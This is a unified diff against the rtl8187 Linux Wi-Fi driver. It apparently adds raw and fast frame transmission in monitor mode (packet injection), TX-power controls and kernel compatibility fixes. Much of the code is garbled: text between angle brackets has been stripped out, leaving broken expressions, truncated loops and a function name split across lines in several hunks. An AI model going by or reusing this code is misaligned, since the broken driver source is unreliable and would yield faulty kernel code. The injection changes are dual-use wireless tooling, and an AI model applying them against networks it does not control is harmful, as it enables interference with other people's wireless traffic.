r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms=(int*)p; int mode=parms[0]; - + priv->ieee80211->active_scan = mode; - + return 1; } -static int r8180_wx_set_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int err = 0; - + down(&priv->wx_sem); - - if (wrqu->retry.flags & IW_RETRY_LIFETIME || + + if (wrqu->retry.flags & IW_RETRY_LIFETIME || wrqu->retry.disabled){ err = -EINVAL; goto exit; @@ -485,13 +564,13 @@ if (wrqu->retry.flags & IW_RETRY_MAX) { priv->retry_rts = wrqu->retry.value; DMESG("Setting retry for RTS/CTS data to %d", wrqu->retry.value); - + }else { priv->retry_data = wrqu->retry.value; DMESG("Setting retry for non RTS/CTS data to %d", wrqu->retry.value); } - - /* FIXME ! + + /* FIXME ! * We might try to write directly the TX config register * or to restart just the (R)TX process. * I'm unsure if whole reset is really needed @@ -503,28 +582,28 @@ rtl8180_rtx_disable(dev); rtl8180_rx_enable(dev); rtl8180_tx_enable(dev); - + } */ exit: up(&priv->wx_sem); - + return err; } -static int r8180_wx_get_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + wrqu->retry.disabled = 0; /* can't be disabled */ - if ((wrqu->retry.flags & IW_RETRY_TYPE) == - IW_RETRY_LIFETIME) + if ((wrqu->retry.flags & IW_RETRY_TYPE) == + IW_RETRY_LIFETIME) return -EINVAL; - + if (wrqu->retry.flags & IW_RETRY_MAX) { wrqu->retry.flags = IW_RETRY_LIMIT & IW_RETRY_MAX; wrqu->retry.value = priv->retry_rts; @@ -533,30 +612,30 @@ wrqu->retry.value = priv->retry_data; } //DMESG("returning %d",wrqu->retry.value); - + return 0; } -static int r8180_wx_get_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - if(priv->rf_set_sens == NULL) + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->rf_set_sens == NULL) return -1; /* we have not this support for this radio */ wrqu->sens.value = priv->sens; return 0; } -static int r8180_wx_set_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + short err = 0; down(&priv->wx_sem); //DMESG("attempt to set sensivity to %ddb",wrqu->sens.value); @@ -571,7 +650,7 @@ exit: up(&priv->wx_sem); - + return err; } @@ -623,50 +702,49 @@ dummy, /* SIOCGIWRTS */ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ - dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + r8180_wx_set_txpow, /* SIOCSIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ r8180_wx_get_enc, /* SIOCGIWENCODE */ dummy, /* SIOCSIWPOWER */ dummy, /* SIOCGIWPOWER */ -}; +}; -static const struct iw_priv_args r8180_private_args[] = { - +static const struct iw_priv_args r8180_private_args[] = { { - SIOCIWFIRSTPRIV + 0x0, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" - }, - + SIOCIWFIRSTPRIV + 0x0, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "fasttx" + }, + { SIOCIWFIRSTPRIV + 0x1, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" - + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" }, + { - SIOCIWFIRSTPRIV + 0x2, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "rawtx" + SIOCIWFIRSTPRIV + 0x2, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" + } }; static iw_handler r8180_private_handler[] = { -// r8180_wx_set_monitor, /* SIOCIWFIRSTPRIV */ + r8180_wx_set_fasttx, /* SIOCIWFIRSTPRIV */ r8180_wx_set_crcmon, /*SIOCIWSECONDPRIV*/ // r8180_wx_set_forceassociate, // r8180_wx_set_beaconinterval, // r8180_wx_set_monitor_type, r8180_wx_set_scan_type, - r8180_wx_set_rawtx, }; -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } @@ -679,8 +757,8 @@ .private = r8180_private_handler, .num_private = sizeof(r8180_private_handler) / sizeof(iw_handler), .num_private_args = sizeof(r8180_private_args) / sizeof(struct iw_priv_args), -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 .get_wireless_stats = r8180_get_wireless_stats, #endif - .private_args = (struct iw_priv_args *)r8180_private_args, + .private_args = (struct iw_priv_args *)r8180_private_args, }; diff -Naur rtl8187_orig/beta-8187/r8187_core.c rtl8187_rawtx/beta-8187/r8187_core.c --- rtl8187_orig/beta-8187/r8187_core.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8187_core.c 2007-07-13 01:46:24.000000000 +0200 @@ -1,27 +1,27 @@ /* This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 + Copyright (C) Andrea Merello 2005 Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton + + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - + some ideas might be derived from David Young rtl8180 netbsd driver. - + Parts of the usb code are from the r8150.c driver in linux kernel - + Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the + + We (I?) want to thanks the Authors of those projecs and also the Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - Please note that this file is a modified version from rtl8180-sa2400 + A special big thanks goes also to Realtek corp. for their help in my + attempt to add RTL8187 and RTL8225 support, and to David Young also. + + - Please note that this file is a modified version from rtl8180-sa2400 drv. So some other people have contributed to this project, and they are thanked in the rtl8180-sa2400 CHANGELOG. */ @@ -57,6 +57,7 @@ #undef DEBUG_IRQ_TASKLET #undef DEBUG_TX_ALLOC #undef DEBUG_TX_DESC +#undef DEBUG_TX_POWER //#define CONFIG_RTL8180_IO_MAP @@ -66,6 +67,9 @@ #include "r8180_93cx6.h" /* Card EEPROM */ #include "r8180_wx.h" +#if !(defined(CONFIG_USB_EHCI_HCD) || defined (CONFIG_USB_EHCI_HCD_MODULE)) + #error Build your kernel with ehci_hcd support! +#endif // FIXME: check if 2.6.7 is ok #if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7)) @@ -98,6 +102,10 @@ #endif static int channels = 0x3fff; +// #define DEBUG_EPROM +// #define DEBUG_REGISTERS +// #define DEBUG_TX_POWER + MODULE_LICENSE("GPL"); MODULE_VERSION("V 1.1"); MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); @@ -137,7 +145,7 @@ static int __devinit rtl8187_usb_probe(struct usb_interface *intf, const struct usb_device_id *id); - + static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); static struct usb_driver rtl8187_usb_driver = { @@ -158,13 +166,12 @@ #endif }; - void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xfe00, 0, &data, 1, HZ / 2); @@ -173,10 +180,10 @@ void write_nic_byte(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 1, HZ / 2); @@ -185,10 +192,10 @@ void write_nic_word(struct net_device *dev, int indx, u16 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 2, HZ / 2); @@ -197,23 +204,23 @@ void write_nic_dword(struct net_device *dev, int indx, u32 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 4, HZ / 2); } - - - + + + u8 read_nic_byte(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 1, HZ / 2); @@ -223,22 +230,22 @@ u8 read_nic_byte_E(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xfe00, 0, &data, 1, HZ / 2); return data; } - + u16 read_nic_word(struct net_device *dev, int indx) { u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 2, HZ / 2); @@ -249,16 +256,16 @@ u32 read_nic_dword(struct net_device *dev, int indx) { u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 4, HZ / 2); return data; } -/* this might still called in what was the PHY rtl8185/rtl8187 common code +/* this might still called in what was the PHY rtl8185/rtl8187 common code * plans are to possibilty turn it again in one common code... */ inline void force_pci_posting(struct net_device *dev) @@ -271,7 +278,12 @@ //void set_nic_txring(struct net_device *dev); static struct net_device_stats *rtl8180_stats(struct net_device *dev); void rtl8180_commit(struct net_device *dev); + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work); +#else void rtl8180_restart(struct net_device *dev); +#endif /**************************************************************************** -----------------------------PROCFS STUFF------------------------- @@ -284,13 +296,13 @@ int *eof, void *data) { struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; int i,n; - + int max=0xff; - + /* This dump the current register page */ for(n=0;n<=max;) { @@ -307,7 +319,7 @@ len += snprintf(page + len, count - len,"\n"); - + *eof = 1; return len; @@ -319,16 +331,16 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "NIC int: %lu\n" "Total int: %lu\n", priv->stats.ints, priv->stats.shints); - + *eof = 1; return len; } @@ -339,10 +351,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "TX normal priority ok int: %lu\n" "TX normal priority error int: %lu\n" @@ -359,7 +371,7 @@ "TX HW queue: %d\n" "TX lp dropped: %lu\n" "TX np dropped: %lu\n" - "TX total data packets %lu\n", + "TX total data packets %lu\n", // "TX beacon aborted: %lu\n", priv->stats.txnpokint, priv->stats.txnperr, @@ -379,10 +391,10 @@ priv->stats.txdatapkt // priv->stats.txbeaconerr ); - + *eof = 1; return len; -} +} @@ -391,10 +403,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "RX packets: %lu\n" "RX urb status error: %lu\n" @@ -402,21 +414,22 @@ priv->stats.rxok, priv->stats.rxstaterr, priv->stats.rxurberr); - + *eof = 1; return len; -} - +} +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) -{ +{ DMESG("Initializing proc filesystem"); rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); } @@ -430,7 +443,7 @@ void rtl8180_proc_remove_one(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); if (priv->dir_dev) { // remove_proc_entry("stats-hw", priv->dir_dev); remove_proc_entry("stats-tx", priv->dir_dev); @@ -447,9 +460,9 @@ void rtl8180_proc_init_one(struct net_device *dev) { struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->dir_dev = create_proc_entry(dev->name, + S_IFDIR | S_IRUGO | S_IXUGO, rtl8180_proc); if (!priv->dir_dev) { DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", @@ -459,7 +472,7 @@ #if 0 e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_hw, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-hw\n", @@ -468,17 +481,17 @@ #endif e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_rx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-rx\n", dev->name); } - - + + e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_tx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-tx\n", @@ -487,27 +500,27 @@ #if 0 e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ieee, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ieee\n", dev->name); } - - + + e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ap, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ap\n", dev->name); } #endif - + e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_registers, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/registers\n", @@ -523,14 +536,14 @@ { int i; u8 *buf =(u8*)buffer; - + printk("ASCII BUFFER DUMP (len: %x):\n",len); - + for(i=0;itx_np_pending : &priv->tx_lp_pending); - + return (used < MAX_TX_URB); } void tx_timeout(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //rtl8180_commit(dev); schedule_work(&priv->reset_wq); //DMESG("TXTIMEOUT"); @@ -561,7 +574,20 @@ { int i; for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); + DMESG("EEPROM addr %02X : %04X", i, eprom_read(dev,i)); +} + +/* this is only for debug */ +void dump_tx_power(struct net_device *dev) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i; + DMESG("CCK TX-Power (b-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr[i]); + DMESG("OFDM TX-Power (g-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr_ofdm[i]); } /* this is only for debug */ @@ -570,14 +596,14 @@ int i; int n; int max=0xff; - - DMESG("Dumping NIC register map"); - + + DMESG("Dumping NIC register map"); + for(n=0;n<=max;) { - printk( "\nD: %2x> ", n); + printk( "\nD: %02X> ", n); for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); + printk("%02X ",read_nic_byte(dev,n)); } printk("\n"); } @@ -589,11 +615,11 @@ void rtl8180_irq_enable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); //priv->irq_enabled = 1; /* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ + write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ + INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); */ @@ -603,7 +629,7 @@ void rtl8180_irq_disable(struct net_device *dev) { -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); write_nic_word(dev,INTA_MASK,0); force_pci_posting(dev); @@ -625,115 +651,119 @@ void rtl8180_update_msr(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 msr; - + msr = read_nic_byte(dev, MSR); msr &= ~ MSR_LINK_MASK; - + /* do not change in link_state != WLAN_LINK_ASSOCIATED. - * msr must be updated if the state is ASSOCIATING. + * msr must be updated if the state is ASSOCIATING. * this is intentional and make sense for ad-hoc and * master (see the create BSS/IBSS func) */ - if (priv->ieee80211->state == IEEE80211_LINKED){ - + if (priv->ieee80211->state == IEEE80211_LINKED){ + if (priv->ieee80211->iw_mode == IW_MODE_INFRA) msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) msr |= (MSR_LINK_MASTER<chan=ch; #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || + if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; + + priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); + rtl8180_update_beacon_ch(dev); } #endif - + /* this hack should avoid frame TX during channel setting*/ tx = read_nic_dword(dev,TX_CONF); tx &= ~TX_LOOPBACK_MASK; -#ifndef LOOP_TEST +#ifndef LOOP_TEST write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<udev, usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); + err = usb_submit_urb(rx_urb, GFP_ATOMIC); if(err && err != -EPERM){ DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - + } - + } void rtl8187_rx_initiate(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + if(!priv->rx_urb) DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); - + } void rtl8187_set_rxconf(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 rxconf; - + rxconf=read_nic_dword(dev,RX_CONF); rxconf = rxconf &~ MAC_FILTER_MASK; rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ dev->flags & IFF_PROMISC){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) rxconf = rxconf | (1<card_8185){ - + txconf = txconf &~ (1<ieee80211->hw_seq) + + if(priv->ieee80211->hw_seq) txconf= txconf &~ (1<retry_data<retry_rts<ieee80211->iw_mode != IW_MODE_MONITOR) + { + txconf = txconf | (priv->retry_data<retry_rts<dma_poll_mask &=~(1<dma_poll_mask); + write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); } void rtl8180_ -_disable(struct net_device *dev) +_disable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask |= (1<dma_poll_mask); @@ -914,8 +947,8 @@ { u8 cmd; int i; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + cmd=read_nic_byte(dev,CMD); write_nic_byte(dev, CMD, cmd &~ \ ((1<rx_urb[i]); } /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) // dev_kfree_skb_any(priv->rx_skb); } @@ -939,14 +972,14 @@ #if 0 int i; u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, + sizeof(u32)*8*count, &priv->txbeaconringdma); if (!priv->txbeaconring) return -1; for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); else *(tmp+4) = (u32)priv->txbeaconringdma; - + tmp=tmp+8; } #endif @@ -965,15 +998,15 @@ void rtl8180_reset(struct net_device *dev) { - + u8 cr; - + /* make sure the analog power is on before * reset, otherwise reset may fail */ rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8180_irq_disable(dev); mdelay(200); @@ -981,19 +1014,19 @@ write_nic_byte_E(dev,0x18,0x11); write_nic_byte_E(dev,0x18,0x00); mdelay(200); - + cr=read_nic_byte(dev,CMD); cr = cr & 2; cr = cr | (1<11) return 0; - return rtl_rate[rate]; + return rtl_rate[rate]; +} + +inline u8 rtl8180_IsWirelessBMode(u16 rate) +{ + if( ((rate <= 110) && (rate != 60) && (rate != 90)) || (rate == 220) ) + return 1; + else return 0; } - +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) +#else +void rtl8187_rx_isr(struct urb *rx_urb) +#endif { struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->rxurb_task = rx_urb; // DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); + tasklet_schedule(&priv->irq_rx_tasklet); // DMESGW("=David: Rx tasklet finish!"); } #if 0 void rtl8180_tx_queues_stop(struct net_device *dev) { - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); @@ -1091,7 +1134,7 @@ { // FIXME !! #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask &= ~(1<dma_poll_mask); @@ -1105,14 +1148,19 @@ */ void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + + short morefrag = 0; unsigned long flags; struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + { + if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) + { + morefrag = 1; + } + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1121,24 +1169,29 @@ * the ieee stack, or from the try_wake_queue (again trought * the ieee stack. */ - spin_lock_irqsave(&priv->tx_lock,flags); - - //DMESG("TX"); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ - DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, - ieeerate2rtlrate(rate)); - - priv->stats.txdatapkt++; - - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->fasttx == 0) + { + spin_lock_irqsave(&priv->tx_lock,flags); + //DMESG("TX"); + if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ + DMESG("Error: no TX slot "); + ieee80211_stop_queue_rtl7(priv->ieee80211); + } + rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, + ieeerate2rtlrate(rate)); + + priv->stats.txdatapkt++; + + if (!check_nic_enought_desc(dev, LOW_PRIORITY)) + ieee80211_stop_queue_rtl7(priv->ieee80211); + spin_unlock_irqrestore(&priv->tx_lock,flags); + } + else + { + rtl8180_tx_fast(dev, (u32*)skb->data, skb->len, ieeerate2rtlrate(rate)); + } + } #if 0 /* This is a rough attempt to TX a frame @@ -1148,12 +1201,12 @@ */ int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int ret; unsigned long flags; - + spin_lock_irqsave(&priv->tx_lock,flags); - + ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); /* int i; @@ -1163,9 +1216,9 @@ */ priv->ieee80211->stats.tx_bytes+=skb->len; priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + spin_unlock_irqrestore(&priv->tx_lock,flags); + dev_kfree_skb_any(skb); return ret; } @@ -1178,7 +1231,7 @@ u16 duration; u16 drift; *ext=0; - + switch(rate){ case 0://1mbps *ext=0; @@ -1187,7 +1240,7 @@ if(drift ==0 ) break; duration++; break; - + case 1://2mbps *ext=0; duration = ((len+4)<<4) /0x4; @@ -1195,40 +1248,44 @@ if(drift ==0 ) break; duration++; break; - + case 2: //5.5mbps *ext=0; duration = ((len+4)<<4) /0xb; drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) + if(drift ==0 ) break; duration++; break; - + default: - case 3://11mbps + 